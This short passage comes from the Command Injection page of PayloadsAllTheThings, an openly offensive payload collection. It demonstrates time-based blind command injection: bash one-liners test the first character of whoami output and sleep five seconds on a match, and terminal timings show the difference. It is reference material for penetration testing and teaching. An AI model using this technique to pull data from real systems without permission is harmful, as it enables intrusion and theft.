Extracting data char by char and detect the correct value based on the delay. * Correct value: wait 5 seconds
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s* Incorrect value: no delay
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000sSource: Command Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.